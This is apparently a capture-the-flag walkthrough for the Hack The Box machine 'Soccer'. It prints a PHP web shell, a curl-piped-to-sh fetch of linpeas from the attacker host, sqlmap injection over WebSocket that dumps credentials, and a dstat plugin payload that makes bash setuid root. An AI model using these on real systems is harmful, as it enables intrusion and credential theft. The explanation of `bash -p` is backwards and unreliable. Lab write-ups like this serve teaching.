> For the complete documentation index, see [llms.txt](https://0xzoro.gitbook.io/0xzoro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xzoro.gitbook.io/0xzoro/htb/htb-writeups/soccer.md).

# Soccer

{% embed url="<https://app.hackthebox.com/machines/Soccer?tab=machine_info&sort_by=created_at&sort_type=desc>" %}

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2Fzb2Rxrk4fDOKUN3Ky0lf%2Fimage.png?alt=media&amp;token=f9929865-5e58-4150-96cd-a19d616da4e7" alt=""><figcaption></figcaption></figure>

## Nmap\_Scan

first we will start with our usual NMAP scan

from the box info we know that the box i linux machine

<pre><code>nmap -sC -sV -A 10.129.9.166 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 00:47 EDT
Nmap scan report for 10.129.9.166
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
<strong>|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
</strong>|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Wed, 25 Mar 2026 04:47:30 GMT
|     Connection: close
|     &#x3C;!DOCTYPE html>
|     &#x3C;html lang="en">
|     &#x3C;head>
|     &#x3C;meta charset="utf-8">
|     &#x3C;title>Error&#x3C;/title>
|     &#x3C;/head>
|     &#x3C;body>
|     &#x3C;pre>Cannot GET /&#x3C;/pre>
|     &#x3C;/body>
|     &#x3C;/html>
|   HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Wed, 25 Mar 2026 04:47:31 GMT
|     Connection: close
|     &#x3C;!DOCTYPE html>
|     &#x3C;html lang="en">
|     &#x3C;head>
|     &#x3C;meta charset="utf-8">
|     &#x3C;title>Error&#x3C;/title>
|     &#x3C;/head>
|     &#x3C;body>
|     &#x3C;pre>Cannot OPTIONS /&#x3C;/pre>
|     &#x3C;/body>
|     &#x3C;/html>
|   RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Wed, 25 Mar 2026 04:47:32 GMT
|     Connection: close
|     &#x3C;!DOCTYPE html>
|     &#x3C;html lang="en">
|     &#x3C;head>
|     &#x3C;meta charset="utf-8">
|     &#x3C;title>Error&#x3C;/title>
|     &#x3C;/head>
|     &#x3C;body>
|     &#x3C;pre>Cannot OPTIONS /&#x3C;/pre>
|     &#x3C;/body>
|_    &#x3C;/html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.95%I=7%D=3/25%Time=69C368DC%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Wed,\x2025\x20Mar\x202026\x2004:47:30\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n&#x3C;!DOCTYPE\x20html>\n&#x3C;html\x20lang
SF:=\"en\">\n&#x3C;head>\n&#x3C;meta\x20charset=\"utf-8\">\n&#x3C;title>Error&#x3C;/title>\n&#x3C;/
SF:head>\n&#x3C;body>\n&#x3C;pre>Cannot\x20GET\x20/&#x3C;/pre>\n&#x3C;/body>\n&#x3C;/html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Wed,\x2025\x20Mar\x202026\x2004:47:31\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n&#x3C;!DOCTYPE\x20html>\n&#x3C;html\x20lang=\"en\">\n&#x3C;head>\n&#x3C;me
SF:ta\x20charset=\"utf-8\">\n&#x3C;title>Error&#x3C;/title>\n&#x3C;/head>\n&#x3C;body>\n&#x3C;pre>C
SF:annot\x20OPTIONS\x20/&#x3C;/pre>\n&#x3C;/body>\n&#x3C;/html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Wed,\
SF:x2025\x20Mar\x202026\x2004:47:32\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:&#x3C;!DOCTYPE\x20html>\n&#x3C;html\x20lang=\"en\">\n&#x3C;head>\n&#x3C;meta\x20charset=\"u
SF:tf-8\">\n&#x3C;title>Error&#x3C;/title>\n&#x3C;/head>\n&#x3C;body>\n&#x3C;pre>Cannot\x20OPTIONS\
SF:x20/&#x3C;/pre>\n&#x3C;/body>\n&#x3C;/html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   121.72 ms 10.10.16.1
2   61.41 ms  10.129.9.166

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.90 seconds

</code></pre>

and we will add the machine $IP in the /etc/hosts file

from the nmap results we detected that the machine running the following services&#x20;

SSH, HTTP, and weird thrid service that runs on port 9091 called xmltec-xmlmail<br>

### HTTP\_Enum

so at first will go hunting for any further info that help us to exploit this box and will start with HTTP service&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FWolj119syOQKmLTSwxgH%2Fimage.png?alt=media&amp;token=71d3aad4-053c-48f8-b146-1f427402ebb9" alt=""><figcaption></figcaption></figure>

after navigating to the web page we find a simple football club page with Soccer, home links that direct also to the home page&#x20;

no we gonna fuzz for any subdirectories&#x20;

i used the tool called diresearch with no hits and gobuster with successfull new intry&#x20;

```
dirsearch -u http://soccer.htb/ 
```

it returned all 400s odes

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FJjRtPB46i9VbYMi82ZDZ%2Fimage.png?alt=media&amp;token=96b9be8c-f3c0-4a17-8254-70ee5b2cd2f9" alt=""><figcaption></figcaption></figure>

the best thing to do for yourself in the enumeration phase is to have a tool arsenal and don't rely on one tool result so next we gonna run gobuster with the following command&#x20;

```
gobuster dir -u http://soccer.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 
```

and even before the tool finishes its work we got a hit&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FTL1ND0XadCVBPzMiJSc6%2Fimage.png?alt=media&amp;token=7978cf1b-5f75-42ce-8931-2cecb2d5e82c" alt=""><figcaption></figcaption></figure>

let us navigate to the mentioned /tiny directory and see what it will give us&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FPiAdv5n40cOVM5dWpUNJ%2Fimage.png?alt=media&amp;token=0e2a3cc9-abd3-4944-8cd1-2b8258adc272" alt=""><figcaption></figcaption></figure>

now that is looks interesting&#x20;

a tiny file manager login page&#x20;

you can find more information about the product here <https://tinyfilemanager.github.io/>&#x20;

Based on the description, it is "A simple, fast and small file manager with a single file. No dependencies, no database required. Upload, download, edit, delete, preview and manage your files with ease."

now if we did a simple search to find any known  vulnerabilities for this product or defualt login creds

you can find an RCE on exploitDB <https://www.exploit-db.com/exploits/50828>

but this is not our case we can't make much of it&#x20;

another search made me land on this repo

{% embed url="<https://github.com/projectdiscovery/nuclei-templates/blob/main/http/default-logins/tiny-file-manager-default-login.yaml>" %}

and it did contain a defualt creds for this product&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FmYN50GCbk8VN6xtjxdz8%2Fimage.png?alt=media&amp;token=5b15db27-5c19-4700-b23c-aaf96532b16e" alt=""><figcaption></figcaption></figure>

and the creds are worked and logged in with them

## Login to Tiny file manager

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2Fp0iRKqZD4HkgpVhTtkMI%2Fimage.png?alt=media&amp;token=e591e270-e259-4983-b13e-c17eeea367a4" alt=""><figcaption></figcaption></figure>

and we got an upload options which opens the way for possible shell upload

lets generate our shell and upload it and open a listener on our kali machine

remember that we will upload the file to the directory&#x20;

{% embed url="<http://soccer.htb/tiny/tinyfilemanager.php?p=tiny%2Fuploads>" %}

which is the file we have upload rights on it

### Uploading Reverseshell

now we will create a shell.php file so we can upload it&#x20;

```
<?php system($_REQUEST["cmd"]); ?>
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FcJ4a2gfjZuCGXLDTQ10O%2Fimage.png?alt=media&amp;token=69083cef-5fe1-4ddb-82eb-4ec24d9c40ee" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2F8UfnKHw1EnXVPtK3Xzuq%2Fimage.png?alt=media&amp;token=6becc725-5aab-4b99-a4de-21a78ad4885b" alt=""><figcaption></figcaption></figure>

now we got a command exeution on the machine as the user www-data

after that we will head to <https://www.revshells.com/> so we can get a simple PHP reverse shell

the next step is to URL encode it and pass it to the CMD parameter

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2Ffr2SWn0ZAjK8Sua2W4uG%2Fimage.png?alt=media&amp;token=1001b9e8-d8fc-4a3e-b8e3-a957074c36d4" alt=""><figcaption></figcaption></figure>

### Upgrade shell session

Now we want to make the shell session more interactive, so we will use the following command&#x20;

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

### Uploading Linplease

After that i will upload Linpease.sh to the machine for further enumeration

You can download the script from here&#x20;

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases>" %}

and then transfer it to the machine&#x20;

```
sudo python3 -m http.server 80 #Host
curl http://10.10.16.123:80/linpeas.sh | sh #target
```

after running Linpease, I found that there is a hidden web instance under  /etc/nginx/sites-available/soc-player.htb

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2F0HSSGgmgxSHvt7sHkxCi%2Fimage.png?alt=media&amp;token=e6265403-349f-4914-b1f0-08a41a7c4c59" alt=""><figcaption></figcaption></figure>

and this will be confirmed later as there is another clue

an unknown process listening on port 3000

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FBZOTsf0uNQZXBAV8MpTU%2Fimage.png?alt=media&amp;token=f3665f5d-51f0-4ed0-b092-81f32efaa3b5" alt=""><figcaption></figcaption></figure>

so right now we got a normal webinstance and another one called soc-player.htb

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FJFun5ZdCoHTZeYQgZzgB%2Fimage.png?alt=media&amp;token=18237ce2-9ef5-45ed-b2d6-a3a89be1d9f0" alt=""><figcaption></figcaption></figure>

## Discovering soc-player.soccer.htb

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2F7IQU6OyaLMR3MqnwYfo3%2Fimage.png?alt=media&amp;token=2561e132-5587-417e-8adb-926595bf44a5" alt=""><figcaption></figcaption></figure>

the above confirms that the clues we found is leading us in the correct path

let us now update our /etc/hosts file with what we found

now after adding the instance to the hosts file we navigate to it <http://soc-player.soccer.htb/>

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2Fm1z5S7VdXhFjncOEIDaI%2Fimage.png?alt=media&amp;token=54e34931-edb4-4bd7-8d65-86c734482f6e" alt=""><figcaption></figcaption></figure>

which gives us a similar football club page but now with more pages > signup, Login, Etc

### Creating a new account

we can see that there is a sign-up page. We can try to create an account and log in with it&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FVsKB8wXqjkL0VAONdJ0T%2Fimage.png?alt=media&amp;token=bed50010-8635-4293-937f-fc640436b61d" alt=""><figcaption></figcaption></figure>

after doing the email registration  and logging in with our newly created account&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FSRwfcNlfmsnt08UbCL1K%2Fimage.png?alt=media&amp;token=aee1826e-bad8-477e-ae88-cd2b4edbda46" alt=""><figcaption></figcaption></figure>

this is dtakes us to <http://soc-player.soccer.htb/check>

which contains a ticket ID and a ticket checker&#x20;

now if we open our burp and check the site map will find it is only contain check endpoint

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2Fk00f1hTeOi4eYKcMpS4I%2Fimage.png?alt=media&amp;token=1a8aa4f0-8506-4aff-8fe1-f99bdc165fd8" alt=""><figcaption></figcaption></figure>

but where the catch here ?&#x20;

he gives you a simple ticket ID and if you typed the ticket id will give you that the ticket does existing

The catch here is that there is no parameter; it is over WebSocket. How can you tell?&#x20;

let us turn on our intercepter in burp to see

you can see in the type field that it is websocket&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FELVLFHMmlfpgjsQH0xqC%2Fimage.png?alt=media&amp;token=0f2caa5c-91c7-4c78-a47a-269f8b457b7f" alt=""><figcaption></figcaption></figure>

this is opens a new door to try SQLI

### SQLI via websocket

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FJEmGcZuMbcZh2Vmrqi6W%2Fimage.png?alt=media&amp;token=cdaf41cc-2d76-4f14-b07b-e6b100eaae93" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2F6brZvAc2LVXcdz6NE6sG%2Fimage.png?alt=media&amp;token=4b6af59f-ca78-4e07-b736-bc836133c63b" alt=""><figcaption></figcaption></figure>

After the injection of this simple payload, it returns that the ticket exists

although it is corrupted&#x20;

no user input validation, sanitization, or filtering so we will hunt more for potential SQLI here&#x20;

i tried to play a while and found that the error codes are being given are either that the ticket  exists or ticket does not exists

which indicates that we are facing a blind SQLI&#x20;

now if you want to use SQLMAP to test for SQLI over websocket you can use tools like

{% embed url="<https://github.com/BKreisel/sqlmap-websocket-proxy>" %}

which will create a web proxy for you to forward the traffic from sqlmap to the websocket server&#x20;

### Creating web proxy forwarder

Another option is to build a python script to do the same

```
import asyncio
import json
import websockets
from aiohttp import web

REMOTE_WS = "ws://soc-player.soccer.htb:9091/check"

async def send_via_websocket(ticket_id):
    try:
        async with websockets.connect(REMOTE_WS) as ws:
            await ws.send(json.dumps({"id": ticket_id}))
            response = await ws.recv()
            return response
    except Exception as e:
        return f"Error: {e}"

async def handle_sqlmap(request):
    data = await request.json()
    ticket_id = data.get("id", "")
    resp = await send_via_websocket(ticket_id)
    
    # Blind SQLi detection logic
    if "Ticket Doesn't Exist" in resp:
        return web.Response(text="False")
    else:
        return web.Response(text="True")

app = web.Application()
app.router.add_post("/", handle_sqlmap)

print("[*] Starting proxy on http://localhost:8080")
print("[*] Forwarding to ws://soc-player.soccer.htb:9091/check")
web.run_app(app, port=8080)
```

Run it:

```
python3 ws_proxy.py
```

Run sqlmap against your local proxy

```
sqlmap -u "http://localhost:8080/" \
  --data '{"id": "*"}' \
  --headers "Content-Type: application/json" \
  --dbms="SQLite" \
  --technique=BT \
  --level=3 \
  --risk=2 \
  --threads=1 \
  --no-cast \
  --batch \
  --dump
```

but this cause overwhelm for you as you can just use SQLMAP direct

```
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
```

| Parameter                              | What it does                                                                                                    |
| -------------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `sqlmap`                               | The SQL injection tool                                                                                          |
| `-u "ws://soc-player.soccer.htb:9091"` | **Target URL** - WebSocket endpoint on port 9091 (no `/check` path needed if that's the default)                |
| `--data '{"id": "*"}'`                 | **JSON payload** - tells sqlmap to inject where the `*` is. The `*` is the injection marker                     |
| `--dbs`                                | **Enumerate databases** - list all databases on the server                                                      |
| `--threads 10`                         | **10 concurrent threads** - faster execution (be careful, can cause issues with blind SQLi)                     |
| `--level 5`                            | **Maximum level** (1-5) - tests more payloads, headers, and parameters. Higher level = more thorough but slower |
| `--risk 3`                             | **Maximum risk** (1-3) - includes dangerous payloads like `OR` statements that might modify data                |
| `--batch`                              | **Non-interactive mode** - never asks for user input, uses default answers                                      |

And after some time we get a hit anout database used and names

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FPuD3ZtNWckDqkM2BGUa0%2Fimage.png?alt=media&amp;token=53173083-08d7-4f3d-81ae-a2042e910b7f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FlZmrlawxECzY4pwJImdU%2Fimage.png?alt=media&amp;token=aba614e8-6d97-4f1a-8891-7521a04043ae" alt=""><figcaption></figcaption></figure>

this takes us to the following command&#x20;

### Dumping soccer\_db

let's dump the soccer\_db

```
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' -D soccer_db --dump --threads 5 --batch
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2Fab1kM5ntMETAdnamDFui%2Fimage.png?alt=media&amp;token=c7a60926-162b-4454-9683-677e08a242cc" alt=""><figcaption></figcaption></figure>

now we got a user name and password and mail

## Login with SSH

Remember the Nmap scan we did&#x20;

we found that there is ssh service running on port 22&#x20;

now the creds we have found we gonna use it to login to the machine

```
ssh player@10.129.11.242  
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2Ft75w3B5rNRwh5YE4PBVF%2Fimage.png?alt=media&amp;token=a00d0743-df70-4ce0-a9cf-f8816e0e5e3a" alt=""><figcaption></figcaption></figure>

and right now we can optain the user flag

### Run Linpease.sh with player

Again let us run linpease with player user privelege and check if we have any thing to be noted&#x20;

```
sudo python3 -m http.server 80 #Host
curl http://10.10.16.123:80/linpeas.sh | sh #target
```

but before examine the output from linpease i tried to run&#x20;

```
sudo -l
```

to list any potential binaries we can run as root on the machine but that gave me no hits

```
Sorry, user player may not run sudo on localhost.
```

getting back to linpease output we found something interesting&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FI3svkzhq3pGhOPwn3yQx%2Fimage.png?alt=media&amp;token=b7ebbe18-da74-48e2-b94f-d988f0744e8e" alt=""><figcaption></figcaption></figure>

you can read more about this here&#x20;

<https://hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#doas>

### What is DOAS?&#xD;<br>

`doas` is like `sudo` but simpler - it allows users to run commands as other users (usually root) without needing a full sudo setup.

```
-rwsr-xr-x 1 root root 42224 Nov 17 2022 /usr/local/bin/doas
```

* The `s` in `rws` means the binary runs with **root privileges** no matter who executes it
* This is normal for `doas`/`sudo` - they need root to switch users

#### **The Configuration**

```
permit nopass player as root cmd /usr/bin/dstat
```

This line means:

* **`permit`** → allow this action
* **`nopass`** → no password required
* **`player`** → the user "player" can do this
* **`as root`** → execute as root user
* **`cmd /usr/bin/dstat`** → ONLY the `/usr/bin/dstat` command

## Getting root shell

I followed up with this blog <https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-dstat-privilege-escalation>

and exeucted the following command to gain root shell&#x20;

```
nano dstat_exploit.py
import os
os.system('chmod +s /usr/bin/bash')

doas /usr/bin/dstat --list | grep exploit
doas /usr/bin/dstat --exploit
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FnXh3YmzPnE906wPlgxlt%2Fimage.png?alt=media&amp;token=4e3c9203-60ae-4fc3-b8cf-c11c7016f302" alt=""><figcaption></figcaption></figure>

And we can see we got the root flag successfully&#x20;

now let us explain more what just happend&#x20;

### `The Logic Behind Using doas to Exploit dstat`

This is a classic **privilege escalation** vector that relies on three key misconfigurations:

1. **`doas` Misconfiguration**: The `doas.conf` file allows the user `player` to run the command `/usr/bin/dstat` as `root` without a password (`permit nopass player as root cmd /usr/bin/dstat`).
2. **`dstat`'s Plugin System**: `dstat` is a Python-based tool. It automatically loads **any** Python file (`.py`) it finds in its plugin directories (e.g., `/usr/local/share/dstat/` or `/usr/share/dstat/`).
3. **Writable Plugin Directory**: As we discovered, the directory `/usr/local/share/dstat/` is writable by the `player` user (`drwxrwx--- 2 root player`). This allows you to create a malicious plugin.

**The chain of execution becomes:**

* You run `doas /usr/bin/dstat --exploit`.
* `doas` executes `/usr/bin/dstat` with **`root` privileges**.
* `dstat` starts, looks for plugins, and finds your malicious `exploit.py` file in the writable directory.
* Because `dstat` is running as `root`, it imports and executes your Python code with **full root privileges**.
* Your code then runs `chmod +s /usr/bin/bash`, making the `/bin/bash` binary setuid `root`.

After this, any user (including `player`) can run `bash -p` to launch a new Bash shell that runs with the effective user ID of the file's owner — **`root`**.

here is a step-by-step breakdown of the commands you executed.

| Command                                          | What it does                                                                                                                                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                       |
| ------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `nano dstat_exploit.py`                          | Creates a new Python file. You then wrote the line `import os; os.system('chmod +s /usr/bin/bash')` inside it.                                                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                       |
| `import os; os.system('chmod +s /usr/bin/bash')` | <p><strong>The Payload:</strong><br>• <code>import os</code>: Allows the script to use operating system commands.<br>• <code>os.system('...')</code>: Executes a shell command.<br>• <code>chmod +s /usr/bin/bash</code>: Adds the <strong>setuid</strong> bit (<code>+s</code>) to <code>/usr/bin/bash</code>. This makes bash run with the permissions of its owner (root), allowing any user to become root by running <code>bash -p</code>.</p> |                                                                                                                                                                       |
| `doas /usr/bin/dstat --list \| grep exploit`     | <p><strong>Verification Step:</strong><br>• <code>doas /usr/bin/dstat --list</code>: Asks <code>dstat</code> to list all available plugins.<br>• <code>                                                                                                                                                                                                                                                                                             | grep exploit</code>: Filters the output to check if your <code>exploit</code> plugin is recognized. This confirms the plugin is in the correct path and loadable.</p> |
| `doas /usr/bin/dstat --exploit`                  | <p><strong>The Exploit Trigger:</strong><br>• <code>doas</code>: Runs the command as <code>root</code> (passwordless).<br>• <code>/usr/bin/dstat --exploit</code>: Tells <code>dstat</code> to load and execute the plugin named <code>exploit</code>. <code>dstat</code> loads it from the writable directory, running your Python code as <code>root</code>.</p>                                                                                  |                                                                                                                                                                       |
| `bash -p`                                        | <p><strong>Privilege Gain:</strong><br>• <code>-p</code> (or <code>--privileged</code>): Tells bash to run in "privileged mode," ignoring the effective user ID and using the <strong>real</strong> user ID. Since the bash binary is now setuid <code>root</code>, this drops you into a root shell.</p>                                                                                                                                           |                                                                                                                                                                       |

thanks for reading
